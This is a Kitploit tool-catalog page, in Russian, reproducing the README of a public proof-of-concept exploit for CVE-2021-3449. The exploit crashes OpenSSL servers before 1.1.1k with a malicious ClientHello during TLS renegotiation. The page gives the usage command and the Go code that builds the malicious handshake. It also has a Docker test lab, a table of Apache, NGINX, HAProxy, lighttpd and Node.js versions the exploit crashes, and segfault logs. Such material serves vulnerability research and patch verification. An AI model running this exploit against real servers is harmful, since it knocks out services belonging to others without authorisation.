Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2021-3449 — CVE-2021-3449 эксплойт отказа в обслуживании OpenSSL 👨🏻‍💻 | Kitploit
Инструменты/GitHubGitHub/riptl/cve-2021-3449
Анализ уязвимостейЭксплуатацияВеб-безопасностьТестирование на Проникновение
GitHubriptl/cve-2021-3449

cve-2021-3449

CVE-2021-3449 эксплойт отказа в обслуживании OpenSSL 👨🏻‍💻

Репозиторий
22437305 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2021-3449 Эксплойт DoS для OpenSSL <1.1.1k

Использование: go run . -host hostname:port

Эта программа реализует proof-of-concept эксплойт уязвимости CVE-2021-3449, затрагивающей серверы OpenSSL до версии 1.1.1k, если принимается защищённая переустановка соединения TLSv1.2.

Она подключается к серверу TLSv1.2 и немедленно инициирует «защищённую переустановку соединения» (RFC 5746). Атака использует вредоносный ClientHello, который заставляет сервер упасть из-за разыменования нулевого указателя (отказ в обслуживании).

Ссылки

  • Уведомление безопасности OpenSSL
  • cve.mitre.org
  • Уведомление безопасности Ubuntu (USN-4891-1)
  • Трекер безопасности Debian
  • Запись CVE в Red Hat

Эта проблема была сообщена в OpenSSL 17 марта 2021 года компанией Nokia. Исправление было разработано Петером Кестле и Самуэлем Сапальски из Nokia.

Меры по смягчению

Единственное известное исправление — обновить libssl1.1.

Даже если некоторые приложения по умолчанию используют жёсткие конфигурации TLS, отключающие переустановку соединения, они всё равно подвержены ошибке, если используется старая версия OpenSSL.

Эксплойт

main.go — это крошечный скрипт, который подключается к TLS-серверу, принудительно выполняет переустановку соединения и отключается.

Код эксплойта был внедрён в встроенную версию пакета encoding/tls Go 1.14.15. Вы можете найти его в handshake_client.go:115. Логика объяснима сама за себя.

// CVE-2021-3449 exploit code.
if hello.vers >= VersionTLS12 {
    if c.handshakes == 0 {
        println("sending initial ClientHello")
        hello.supportedSignatureAlgorithms = supportedSignatureAlgorithms
    } else {
        // OpenSSL pre-1.1.1k runs into a NULL-pointer dereference
        // if the supported_signature_algorithms extension is omitted,
        // but supported_signature_algorithms_cert is present.
        println("sending malicious ClientHello")
        hello.supportedSignatureAlgorithmsCert = supportedSignatureAlgorithms
    }
}

– @terorie

Демонстрация

Каталог demo/ содержит конфигурацию для пропатчивания различных приложений уязвимой версией OpenSSL.

Тестовый стенд:

  • Загрузите и скомпилируйте уязвимую версию OpenSSL 1.1.1j локально
  • Подготовьте целевой контейнер Ubuntu 20.04 и загрузите библиотеки OpenSSL
  • Установите приложение в целевой контейнер
  • Запустите сервер и выполните атаку

Требования:

  • OpenSSL (на хосте)
  • build-essential (Perl, GCC, Make)
  • Docker

Примечание: ни один из перечисленных веб-серверов не уязвим для CVE-2021-3449 с OpenSSL 1.1.1k или новее.

СерверДистрибутивВерсияДемонстрацияРезультат
OpenSSL s_server-1.1.1jmake demo-opensslСбой
Apache2Ubuntu 18.042.4.29make demo-apache2Частичный сбой
HAProxyUbuntu 18.041.8.8make demo-haproxyСбой
HAProxyUbuntu 20.042.0.13make demo-haproxyБез эффекта
lighttpdUbuntu 18.041.4.55make demo-lighttpdСбой
lighttpdUbuntu 20.041.4.55make demo-lighttpdСбой
lighttpdUbuntu 21.041.4.59make demo-lighttpdБез эффекта при опции конфигурации
NGINXUbuntu 18.041.14.0make demo-nginxЧастичный сбой
NGINXUbuntu 20.041.18.0make demo-nginxБез эффекта
Node.js <=12Ubuntu 18.04Без эффекта
Node.js >12Ubuntu 18.04?make demo-nodejsСбой
Node.js >12Ubuntu 18.0415.14.0make demo-nodejsБез эффекта

Чтобы очистить все демонстрационные ресурсы, выполните make clean.

Простой сервер OpenSSL

openssl s_server — минимальная реализация TLS-сервера.

  • make demo-openssl: Полный запуск (порт 4433)
  • make -C demo build-openssl: Сборка целевого Docker-образа
  • make -C demo start-openssl: Запуск цели на порту 4433
  • make -C demo stop-openssl: Остановка цели

Результат: Полный сбой сервера.

Логи

docker run -d -it --name cve-2021-3449-openssl --network host local/cve-2021-3449/openssl
a16c44f98a37b7e0c0777d3bd66456203de129fd23566d2141ef2bec9777be17
docker logs -f cve-2021-3449-openssl &
sleep 2
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Using default temp DH parameters
ACCEPT
sending initial ClientHello
connected
sending malicious ClientHello

[[truncated]]

Program received signal SIGSEGV, Segmentation fault.
0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#0  0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#1  0x00007f668bd893cd in tls1_set_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#2  0x00007f668bd89fe3 in tls1_process_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#3  0x00007f668bd8a110 in tls1_set_server_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#4  0x00007f668bd824a2 in tls_early_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#5  0x00007f668bd84d55 in tls_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#6  0x00007f668bd8522f in ossl_statem_server_post_process_message () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#7  0x00007f668bd710e1 in read_state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#8  0x00007f668bd7199d in state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#9  0x00007f668bd71c4e in ossl_statem_accept () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#10 0x00007f668bd493ab in ssl3_read_bytes () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#11 0x00007f668bd504ec in ssl3_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#12 0x00007f668bd50595 in ssl3_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#13 0x00007f668bd5ae5c in ssl_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#14 0x00007f668bd5af5b in SSL_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#15 0x000055aa5a10f209 in sv_body ()
#16 0x000055aa5a1302ec in do_server ()
#17 0x000055aa5a114815 in s_server_main ()
#18 0x000055aa5a0f9395 in do_cmd ()
#19 0x000055aa5a0f9ee1 in main ()
malicious handshake failed, exploit might have worked

Apache2 httpd

Веб-сервер Apache2 httpd с конфигурацией по умолчанию уязвим.

  • make demo-apache: Полный запуск (порт 443)
  • make -C demo build-apache: Сборка целевого Docker-образа
  • make -C demo start-apache: Запуск цели на порту 443
  • make -C demo stop-apache: Остановка цели

Благодарим @binarytrails за вклад.

Результат: Частичное нарушение работы, основной процесс остаётся жив, но рабочий процесс аварийно завершается.

Логи

docker run -d -it --name cve-2021-3449-apache2 --network host local/cve-2021-3449/apache2
0bf38dd8ab721f0ae3713448d2a28050b6e7d11fa7e3174b6ec9b1bbcfa124c8
docker logs -f cve-2021-3449-apache2 &

[[truncated]]
Скачать инструмент